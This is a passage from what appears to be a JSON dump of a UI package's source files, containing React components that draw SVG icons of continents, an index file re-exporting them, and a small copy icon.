4.18-2.726 7.956z\"\n      ></path>\n      <path\n        fill=\"url(#paint8_linear_5250_15504)\"\n        d=\"M152.604 188.794s6.791-2.146 7.517-3.825c.726-1.678 2.242-.322.871 1.905a44.98 44.98 0 01-5.824 6.326s-3.113 4.712-4.952 4.228 1.113-3.115 1.436-5.358c.322-2.243-.242-2.066.952-3.276z\"\n      ></path>\n      <defs>\n        <linearGradient\n          id=\"paint0_linear_5250_15504\"\n          x1=\"61.723\"\n          x2=\"213\"\n          y1=\"117.334\"\n          y2=\"117.334\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint1_linear_5250_15504\"\n          x1=\"79.864\"\n          x2=\"92.105\"\n          y1=\"76.2\"\n          y2=\"76.2\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint2_linear_5250_15504\"\n          x1=\"73.796\"\n          x2=\"80.602\"\n          y1=\"78.983\"\n          y2=\"78.983\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint3_linear_5250_15504\"\n          x1=\"147.88\"\n          x2=\"156.518\"\n          y1=\"25.654\"\n          y2=\"25.654\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint4_linear_5250_15504\"\n          x1=\"28.328\"\n          x2=\"82.337\"\n          y1=\"36.139\"\n          y2=\"36.139\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint5_linear_5250_15504\"\n          x1=\"0.001\"\n          x2=\"23.488\"\n          y1=\"73.955\"\n          y2=\"73.955\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint6_linear_5250_15504\"\n          x1=\"60.232\"\n          x2=\"71.822\"\n          y1=\"53.021\"\n          y2=\"53.021\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint7_linear_5250_15504\"\n          x1=\"9.531\"\n          x2=\"44.991\"\n          y1=\"170.558\"\n          y2=\"170.558\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint8_linear_5250_15504\"\n          x1=\"149.617\"\n          x2=\"161.546\"\n          y1=\"190.841\"\n          y2=\"190.841\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/continents/index.tsx",
    "content": "// Icons adapted to JSX from https://www.figma.com/community/file/1009565851324834062\n\nexport * from \"./af\";\nexport * from \"./as\";\nexport * from \"./eu\";\nexport * from \"./na\";\nexport * from \"./oc\";\nexport * from \"./sa\";\n"
  },
  {
    "path": "packages/ui/src/icons/continents/na.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function NorthAmerica(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"213\"\n      height=\"213\"\n      fill=\"none\"\n      viewBox=\"0 0 213 213\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <path\n        fill=\"#FFFFFF\"\n        d=\"M213 106.662a106.143 106.143 0 01-7.326 38.931 106.35 106.35 0 01-39.167 48.966A106.65 106.65 0 01106.512 213C47.677 213-.718 165.388.008 106.694.395 74.561 16.145 44.135 36.01 27.03A107.902 107.902 0 0191.992 1.415a107.993 107.993 0 0160.898 9.153 106.334 106.334 0 0142.036 36.515 105.94 105.94 0 0117.428 48.03c.43 3.835.646 7.691.646 11.549z\"\n      ></path>\n      <path\n        fill=\"url(#paint0_linear_5250_15526)\"\n        d=\"M193.038 58.245c-2.695-2.4-3.598-2.094-6.293-5.992-2.695-3.898-1.501-7.184-5.713-7.49-4.212-.306-5.099-3.301-5.696-7.183-.597-3.882-9.682-8.054-12.91-7.49-3.227.564-22.204-7.2-27.304-9.004-5.099-1.804-8.068-10.76-11.715-11.371-3.647-.612-13.797.886-19.8 7.2s-7.213-3.608-12.603-1.804-15.314 11.081-19.51 18.12c-4.195 7.039-3.227 10.34-6.31 13.03-3.081 2.69-7.503-4.187-8.616-6.587-1.114-2.4-13.878-.306-14.523-3.608-.646-3.302 15.91-10.47 14.394-15.27-1.517-4.8-19.134 5.471-20.75 6.526C56.252 8.992 83.512-1.047 111.06.087a106.155 106.155 0 0172.553 32.886 10.998 10.998 0 00-.403 5.799c.661 2.963 5.648 6.604 9.02 11.597 3.373 4.993 3.502 10.356.807 7.876z\"\n      ></path>\n      <path\n        fill=\"url(#paint1_linear_5250_15526)\"\n        d=\"M205.56 145.771a107.666 107.666 0 01-52.074 56.374.114.114 0 01-.133-.026.113.113 0 01-.028-.066.105.105 0 01.016-.069 46.171 46.171 0 004.438-8.15c1.501-3.898-1.614-1.047-6.745-1.353-5.132-.306-8.569-9.439-7.665-13.917.903-4.477 5.696-10.195 5.26-12.434-.435-2.239-.306-1.949-2.114-2.706-1.807-.757-2.081 1.047-3.001 3.221-.92 2.175-4.938-1.353-8.698-2.69-3.76-1.337-3.453-2.851-3.744-3.898-.29-1.046-6.164.886-8.714-1.063-2.549-1.949-6.148-.741-9.149-.741-3.002 0-8.714-5.54-11.7-6.281a3.481 3.481 0 01-3.001-4.51c.306-1.933-5.245-9.455-7.052-10.808-1.807-1.353-2.275-3.447-2.889-6.137-.613-2.689-2.226-3.221-3.566-3.06-1.34.161-.161 2.69.888 4.494a43.47 43.47 0 013.146 6.845c1.614 4.043 3.647 1.611 2.566 4.977-.242.725-3.76-1.192-5.1-4.187a130.186 130.186 0 01-5.712-13.643 43.635 43.635 0 00-6.6-12.064c-2.694-3.737 1.501-11.678 3.002-14.98 1.5-3.301.904-7.634 0-10.63a20.323 20.323 0 01-1.049-9.664c.597-3.914-4.357-8.698-5.551-11.098-1.194-2.4-2.55-4.929-5.551-4.494-3.002.435-7.214 1.95-9.005 1.95-1.79 0-6.003-1.032-6.6-2.69-.597-1.66 6.148.74 9.44 0 3.292-.742 1.614-5.396 3.76-8.392 2.147-2.996 6.552-5.122 8.698-6.894 2.792-2.271 1.259-.822 5.89-.918 4.632-.097 5.245 5.96 8.069 7.328 2.824 1.37 7.665-.112 11.65-3.785 3.986-3.672 8.505-3.221 11.2-6.056 2.694-2.835 8.068-3.672 8.859 1.257.79 4.928 5.454 7.538 11.538 11 6.083 3.464 6.196 1.772 6.697 7.539.5 5.766 1.387 3.447-.71 4.3-2.098.854-6.455-.95-8.295-5.557-1.84-4.606-5.567-3.769-5.244 1.257.322 5.025.419 4.413-3.986 7.441-4.406 3.028-9.134 5.653-3.05 6.91 6.084 1.256 13.232 12.048 17.218 12.048 3.986 0 .307-7.748-.952-12.982-1.259-5.235-1.775-7.023 2.42-6.604 4.196.419 6.1.322 9.344 2.835 3.243 2.512 7.988 1.143 10.618 2.931s0 4.188-1.065 7.538c-1.065 3.35-4.406 3.222-3.034 5.46 1.372 2.24 6.907.42 6.455 3.045-.452 2.625-4.631.096-5.358 5.122-.726 5.025-5.777 11.532-6.003 15.301-.225 3.769.226 2.513-1.258 5.557-1.485 3.044-7.036 6.443-4.841 9.423 2.194 2.979 4.712 8.504 3.889 10.904-.823 2.4-2.84-1.611-4.535-5.235-1.694-3.624-18.59-.966-22.963 1.257-4.373 2.222-2.081 8.182 0 14.786 2.082 6.603 9.166-3.479 13.717-4.124 4.55-.644 0 9.052.435 10.518.436 1.466 5.148-.966 8.472-.499 3.325.467 1.42 1.804.872 5.863-.549 4.059 2.275 3.221 4.341 3.672 2.065.451 1.952-1.611 3.404-2.319 1.453-.709 4.212-.177 5.1-3.222.887-3.044 10.069-2.979 15.782-6.281 5.712-3.302 8.536 1.61 14.087-1.208 5.551-2.819 7.649.467 10.199 1.208 2.549.741 13.813-6.04 15.298-6.926.099-.243-.016-.049-.033 0z\"\n      ></path>\n      <path\n        fill=\"url(#paint2_linear_5250_15526)\"\n        d=\"M117.356 36.644c.274-3.85 9.02-8.15 12.441-4.51 3.421 3.64 13.523 5.364 14.523 7.94 1.001 2.578 1.501 8.78 2.792 11.566 1.291 2.786 7.94 10.501 1.501 9.422-6.439-1.08-17.751-13.659-23.189-13.9-5.438-.242-8.278-7.522-8.068-10.518z\"\n      ></path>\n      <path\n        fill=\"url(#paint3_linear_5250_15526)\"\n        d=\"M150.904 38.61s2.663-.322 3.421.741c.759 1.063 2.227 3.624 1.162 4.365a3.36 3.36 0 01-4.034-.644c-.646-1.063-2.356-2.98-.549-4.462z\"\n      ></path>\n      <path\n        fill=\"url(#paint4_linear_5250_15526)\"\n        d=\"M135.155 142.468s-2.518 2.014-.484 1.917c2.033-.097 3.453-1.82 4.292-1.611.839.21 3.389.371 4.841.612 1.452.242 2.889-.225 2.534.967s.355.725 2.759 0 4.067-2.787 1.194-2.642c-4.26.226-5.615-.982-7.923-1.192a12.25 12.25 0 00-7.213 1.949z\"\n      ></path>\n      <path\n        fill=\"url(#paint5_linear_5250_15526)\"\n        d=\"M154.035 142.869c-.387.902 1.307 1.965 0 2.303-1.307.338-4.518 2.271-2.195 2.029 2.324-.241 5.325-.934 5.568-2.029.242-1.095 1.613-1.852 2.759-2.303 1.146-.451 2.049-2.497 0-2.32-1.384.174-2.724.6-3.954 1.256-1.016.307-1.404-.934-2.178 1.064z\"\n      ></path>\n      <defs>\n        <linearGradient\n          id=\"paint0_linear_5250_15526\"\n          x1=\"35.688\"\n          x2=\"194.924\"\n          y1=\"29.435\"\n          y2=\"29.435\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint1_linear_5250_15526\"\n          x1=\"49.398\"\n          x2=\"205.633\"\n          y1=\"121.714\"\n          y2=\"121.714\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint2_linear_5250_15526\"\n          x1=\"117.345\"\n          x2=\"151.378\"\n          y1=\"45.961\"\n          y2=\"45.961\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint3_linear_5250_15526\"\n          x1=\"150.099\"\n          x2=\"155.862\"\n          y1=\"41.342\"\n          y2=\"41.342\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint4_linear_5250_15526\"\n          x1=\"133.877\"\n          x2=\"151.81\"\n          y1=\"142.794\"\n          y2=\"142.794\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint5_linear_5250_15526\"\n          x1=\"151.019\"\n          x2=\"161.388\"\n          y1=\"143.88\"\n          y2=\"143.88\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/continents/oc.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Oceania(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"213\"\n      height=\"213\"\n      fill=\"none\"\n      viewBox=\"0 0 213 213\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <path\n        fill=\"#FFFFFF\"\n        d=\"M213 106.511a106.46 106.46 0 01-41.551 84.221 106.505 106.505 0 01-92.07 18.583 106.513 106.513 0 01-42.636-22.51A106.473 106.473 0 01.17 100.306a106.464 106.464 0 0113.56-46.26 106.49 106.49 0 0139.06-39.558A106.516 106.516 0 01106.468 0c2.888 0 5.76.113 8.6.339a106.509 106.509 0 0169.723 33.948A106.468 106.468 0 01213 106.511z\"\n      ></path>\n      <path\n        fill=\"url(#paint0_linear_5250_15478)\"\n        d=\"M85.54 26.234c-1.615 5.727-14.96 6.356-18.768 9.534-3.808 3.179-.952 6.373-1.274 9.229-.323 2.855-3.228 4.452-5.729 7.308-2.5 2.855-5.728 0-8.374-1.613-2.647-1.614-4.97-1.323-5.923 3.436a5.389 5.389 0 004.567 6.582c3.389.759 4.066 5.082 1.791 7.518-1.759 1.872-7.761-.596-9.23-8.066-.516-2.646 1.856-19.36-5.728-17.489-10.957 2.76-18.38 37.462-24.189 35.074-4.84-2 .646-22.215 1.05-23.651a106.49 106.49 0 0139.05-39.586A106.516 106.516 0 01106.468 0c2.888 0 5.761.113 8.601.339v.177s2.662.29-2.227 6.325c-4.889 6.033-23.495 2.855-27.303 5.727-3.808 2.871 1.582 7.937 0 13.665z\"\n      ></path>\n      <path\n        fill=\"url(#paint1_linear_5250_15478)\"\n        d=\"M99.497 65.342a.307.307 0 010-.613c1.888-.452 5.164-1 5.842.355.968 1.92 0 5.517 3.356 3.355 3.356-2.162 6.003-1.774 9.843.662 3.841 2.436 5.712 6.243 10.553 8.728 12.909 6.663 4.841 6.92 4.841 6.92s-4.002.582-10.182-5.678c-2.34-2.371-8.068 3.05-10.456.403-2.388-2.645-.726-4.55-5.761-6.243-5.034-1.694-6.277-2.598-5.131-5.001.855-1.614-1.356-2.453-2.905-2.888z\"\n      ></path>\n      <path\n        fill=\"url(#paint2_linear_5250_15478)\"\n        d=\"M73.26 55.176a22.026 22.026 0 01-6.165 5.114c-3.744 2.033-3.227 3.42-3.953 4.55-.727 1.13-3.76.323-3.599 2.114.162 1.79-1.307 3.226 1.453 5.114 2.759 1.887 10.068 2.113 11.456 0 1.388-2.114-.403-2.436.807-4.227 1.21-1.791 3.227-2.694 3.566-3.453.34-.758-2.598-3.597-2.017-4.985.581-1.387 2.082-2.84 2.05-3.646-.033-.807-3.599-.58-3.599-.58z\"\n      ></path>\n      <path\n        fill=\"url(#paint3_linear_5250_15478)\"\n        d=\"M37.856 68.569a33.614 33.614 0 013.227 6.55 16.62 16.62 0 004.405 5.776 25.823 25.823 0 004.841 2.387s2.388-1.468 2.76-2.936c.37-1.468-.743-3.13-1.614-4.42-.871-1.291-5.26.742-5.938 0a12.907 12.907 0 01-1.969-5.082c-.548-2.453-4.228-4.663-5.696-5.034-1.468-.371-.016 2.759-.016 2.759z\"\n      ></path>\n      <path\n        fill=\"url(#paint4_linear_5250_15478)\"\n        d=\"M55.815 83.28a8.199 8.199 0 015.342-1.806c1.097.371-1 1.5 1.984 1.855 2.986.355 5.745-1.161 7.956-.951 2.21.21 4.84 2.161 5.76 2.468.92.306.258 2.146 0 2.517-.258.37-2.824-.726-7.794 0s-11.957-2.275-13.248-2.517c-1.29-.242 0-1.565 0-1.565z\"\n      ></path>\n      <path\n        fill=\"url(#paint5_linear_5250_15478)\"\n        d=\"M82.844 81.473a11.667 11.667 0 017.165-3.582h4.97c.196.302.297.656.29 1.017 0 .451-5.986 2.403-6.212 2.565a37.573 37.573 0 01-5.245 1.032c-1-.032-.968-1.032-.968-1.032z\"\n      ></path>\n      <path\n        fill=\"url(#paint6_linear_5250_15478)\"\n        d=\"M71.969 113.273a7.146 7.146 0 012.694-8.857c3.228-2.033 6.971-3.581 10.247-7.034 4.583-4.84 9.682-13.165 20.542-12.907a2.294 2.294 0 012.104 1.416 2.288 2.288 0 01-.491 2.489c-1.468 1.42-2.711 2.194-.694 3.71 3.228 2.404 9.682 1.614 11.522-2.145a23.653 23.653 0 001.613-4.276 1.08 1.08 0 011.937-.322 18.389 18.389 0 013.146 6.356c.42 3.033 2.001 5.453 5.777 10.584 3.776 5.13 9.682 15.875 3.776 22.134-5.503 5.905-4.244 7.47-5.47 8.599-.92.855-3.679 0-5.809 1.759a1.195 1.195 0 01-1.614 0 5.951 5.951 0 00-6.1-1.484c-3.227.79-4.034-5.244-4.227-8.277a.604.604 0 00-.426-.546.6.6 0 00-.655.224l-1.259 1.71a1.287 1.287 0 01-1.099.525 1.284 1.284 0 01-1.047-.622c-1.791-3.098-6.713-8.276-17.315 0-1.032-.21-6.373 0-8.374 2.823-2.001 2.823-4.196.42-4.615-1.048-.42-1.469-.63-7.228-1.614-9.116-.484-.968-1.565-3.42-2.55-5.695z\"\n      ></path>\n      <path\n        fill=\"url(#paint7_linear_5250_15478)\"\n        d=\"M119.877 139.553a.768.768 0 01.57-.97.77.77 0 01.415.019 4.653 4.653 0 004.018 0c1.016-.404 2.226.419.613 2.387-1.614 1.969-2.324 4.114-3.437 3.63-.743-.226-1.646-3.21-2.179-5.066z\"\n      ></path>\n      <path\n        fill=\"url(#paint8_linear_5250_15478)\"\n        d=\"M145.534 151.364a.552.552 0 01.177-.678 13.05 13.05 0 014.841-2.742c1.711-.13 4.067-4.324 4.599-4.582.533-.258 1.356 2.033 1.614 2.92a.567.567 0 01-.113.613c-1.081 1.097-9.004 6.969-9.795 6.453a5.305 5.305 0 01-1.323-1.984z\"\n      ></path>\n      <path\n        fill=\"url(#paint9_linear_5250_15478)\"\n        d=\"M157.41 142.28a.921.921 0 010-.839c.759-1.161 2.647-1.984 2.953-7.389.178-3.226.742-3.226 1.275-3.226.532 0 .823 2.452.758 4.63-.064 2.178-.839 3.678 1.114 3.856a3.228 3.228 0 012.565 1.161s.517 1.807-3.872 2.888c-1.146.275-2.098 1.694-2.501 1.969a.602.602 0 01-.727-.075.597.597 0 01-.145-.216l-1.42-2.759z\"\n      ></path>\n      <path\n        fill=\"url(#paint10_linear_5250_15478)\"\n        d=\"M137.902 208.33a107.034 107.034 0 01-67.418-1.613c-4.55-4.162-7.794-10.116-6.923-12.245.323-.807.484-1.614 1.291-1.985 2.647-1.016 6.035-.597 8.23-1.371 2.55-.919-1.614-1.823 0-5.469 1.613-3.646 24.785-12.052 33.305-9.68s19.025 9.857 19.977 11.503c.952 1.646-3.082 1.097-5.632 3.469-2.549 2.371-1.452 4.372 1.098 5.114 2.259.645 13.829 3.227 16.572 6.453a5.293 5.293 0 01-.5 5.824z\"\n      ></path>\n      <defs>\n        <linearGradient\n          id=\"paint0_linear_5250_15478\"\n          x1=\"10.699\"\n          x2=\"115.792\"\n          y1=\"38.933\"\n          y2=\"38.933\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint1_linear_5250_15478\"\n          x1=\"99.191\"\n          x2=\"136.422\"\n          y1=\"74.495\"\n          y2=\"74.495\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint2_linear_5250_15478\"\n          x1=\"59.295\"\n          x2=\"76.858\"\n          y1=\"64.358\"\n          y2=\"64.358\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint3_linear_5250_15478\"\n          x1=\"37.215\"\n          x2=\"53.162\"\n          y1=\"74.531\"\n          y2=\"74.531\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint4_linear_5250_15478\"\n          x1=\"55.242\"\n          x2=\"77.33\"\n          y1=\"84.474\"\n          y2=\"84.474\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint5_linear_5250_15478\"\n          x1=\"82.844\"\n          x2=\"95.269\"\n          y1=\"80.198\"\n          y2=\"80.198\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint6_linear_5250_15478\"\n          x1=\"71.378\"\n          x2=\"136.645\"\n          y1=\"109.781\"\n          y2=\"109.781\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint7_linear_5250_15478\"\n          x1=\"119.847\"\n          x2=\"126.279\"\n          y1=\"141.595\"\n          y2=\"141.595\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint8_linear_5250_15478\"\n          x1=\"145.483\"\n          x2=\"156.81\"\n          y1=\"148.361\"\n          y2=\"148.361\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint9_linear_5250_15478\"\n          x1=\"157.309\"\n          x2=\"166.094\"\n          y1=\"138.123\"\n          y2=\"138.123\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint10_linear_5250_15478\"\n          x1=\"63.419\"\n          x2=\"139.048\"\n          y1=\"194.277\"\n          y2=\"194.277\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/continents/sa.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function SouthAmerica(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"213\"\n      height=\"213\"\n      fill=\"none\"\n      viewBox=\"0 0 213 213\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <path\n        fill=\"#FFFFFF\"\n        d=\"M212.999 106.426a106.541 106.541 0 01-17.707 58.869 106.504 106.504 0 01-47.28 39.28 106.48 106.48 0 01-115.687-21.659A106.546 106.546 0 017.228 67.902 106.52 106.52 0 0145.07 19.46 106.484 106.484 0 01103.372 0h3.224a106.127 106.127 0 0184.8 42.103 105.715 105.715 0 0121.136 54.084c.326 3.403.482 6.82.467 10.239z\"\n      ></path>\n      <path\n        fill=\"url(#paint0_linear_5250_15542)\"\n        d=\"M161.426 141.852c-4.24.79-9.238 4.644-10.173 8.95-.935 4.305-21.571 16.35-27.745 22.478-6.175 6.128-4.933 6.45-7.4 11.433-1.403 2.773 1.112 2.838 1.612 4.837.129.484-.725 2.419-1.209 2.419a19.834 19.834 0 01-5.368-2.419c-3.225-1.919 0-8.917-.871-14.77-.871-5.854 5.239-31.783 5.852-37.33.613-5.547-5.594-8.224-9.576-9.772s-4.933-10.191-9.56-15.674c-4.627-5.482 1.612-4.337-.613-10.803-2.225-6.467 7.094-12.336 5.546-15.739-1.548-3.402-5.9-.983-10.737-3.128s-2.483-7.095-5.868-6.45c-3.386.645-11.398-4.628-18.492-4.934-7.093-.307-10.173-7.402-10.479-10.175-.306-2.774-2.483-11.433-4.643-11.433-2.16 0 1.612 11.74-1.274 11.433-2.885-.307-3.353-9.869-5.513-18.528-2.16-8.66 5.24-11.707 9.882-20.35a18.709 18.709 0 001.516-9.304A105.805 105.805 0 01103.372.015c.322.514.602 1.054.838 1.613.532 1.612 1.919 2.564.855 4.37s-.645-.952-8.513.741c-7.867 1.693-1.612 6.45.742 7.45a9.524 9.524 0 008.609-.742c2.354-1.709 0-4.837 3.095-4.837 3.096 0 3.918 2.45 6.691 2.564 2.773.113 3.224 0 9.044 2.112 5.82 2.113 7.69 3.58 1.919 5.338-5.772 1.757.419 4.692-3.225 5.418-3.643.725-15.444 8.417-16.121 12.98-.678 4.564-3.934.968-7.771 4.838-3.837 3.87.758 7.127.967 9.159.21 2.032.097 2.016-2.45 3.225-2.548 1.21-1.806-4.999-4.837-8.595-3.03-3.596-21.055 1.613-22.119 10.95-1.064 9.336 13.64.58 15.896 2.031 2.257 1.451-4.143 8.063-3.401 9.675.741 1.613 7.448-.42 9.366 1.5 1.919 1.919-.338 7.224 0 9.772.339 2.547 3.225 2.66 5.514.967s4.691.549 5.917 1.484c1.225.935 4.32-2.484 8.947-6.45 4.627-3.967 21.281 4.015 23.731 8.643 2.451 4.628 12.72 3.515 14.268 7.224.725 1.741 4.304 10.062 11.043 12.174 6.739 2.113 13.8 7.74 15.09 10.836 1.112 2.629-3.224 6.676-6.449 12.304-3.966 6.885-1.886 13.658-9.592 15.093z\"\n      ></path>\n      <path\n        fill=\"url(#paint1_linear_5250_15542)\"\n        d=\"M137.05 4.676c-3.886 3.886 0 5.176-3.225 6.321-3.224 1.145-5.981-3.725-9.06-8.062a13.148 13.148 0 00-1.387-1.613c4.699.766 9.342 1.843 13.897 3.225l-.225.13z\"\n      ></path>\n      <path\n        fill=\"url(#paint2_linear_5250_15542)\"\n        d=\"M212.483 96.155a9.803 9.803 0 00-5.643-.952c-3.063.968-9.528-15.69-10.656-17.737-1.129-2.048-.968-5.176-3.579-11.788-2.612-6.611-.307-12.9-1.435-18.253a13.503 13.503 0 01.177-5.306 105.713 105.713 0 0121.136 54.036z\"\n      ></path>\n      <path\n        fill=\"url(#paint3_linear_5250_15542)\"\n        d=\"M121.444 202.855c-2.547 2.258-7.9 3.386-6.207 5.644a27.1 27.1 0 004.224 3.612 106.48 106.48 0 01-33.323-1.177c3.579-2.209 7.319-3.886 10.188-3.564 7.61.839 15.509-2.257 20.04-4.515 4.53-2.257 7.609-2.274 5.078 0z\"\n      ></path>\n      <defs>\n        <linearGradient\n          id=\"paint0_linear_5250_15542\"\n          x1=\"44.529\"\n          x2=\"177.645\"\n          y1=\"95.992\"\n          y2=\"95.992\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint1_linear_5250_15542\"\n          x1=\"123.378\"\n          x2=\"137.275\"\n          y1=\"6.245\"\n          y2=\"6.245\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint2_linear_5250_15542\"\n          x1=\"190.988\"\n          x2=\"212.483\"\n          y1=\"69.137\"\n          y2=\"69.137\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint3_linear_5250_15542\"\n          x1=\"86.138\"\n          x2=\"122.355\"\n          y1=\"207.029\"\n          y2=\"207.029\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/copy.tsx",
    "content": "export function Copy({ className }: { className?: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"2\"\n      viewBox=\"0 0 24 24\"\n      width=\"14\"\n      height=\"14\"\n      className={className}\n    >\n      <path d=\"M8 17.929H6c-1.105 0-2-.912-2-2.036V5.036C4 3.91 4.895 3 6 3h8c1.105 0 2 .911 2 2.036v1.866m-6 .17h8c1.105 0 2 .91 2 2.035v10.857C20 21.09 19.105 22 18 22h-8c-1.105 0-2-.911-2-2.036V9.107c0-1.124.895-2.036 2-2.036z\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/crown-small.tsx",
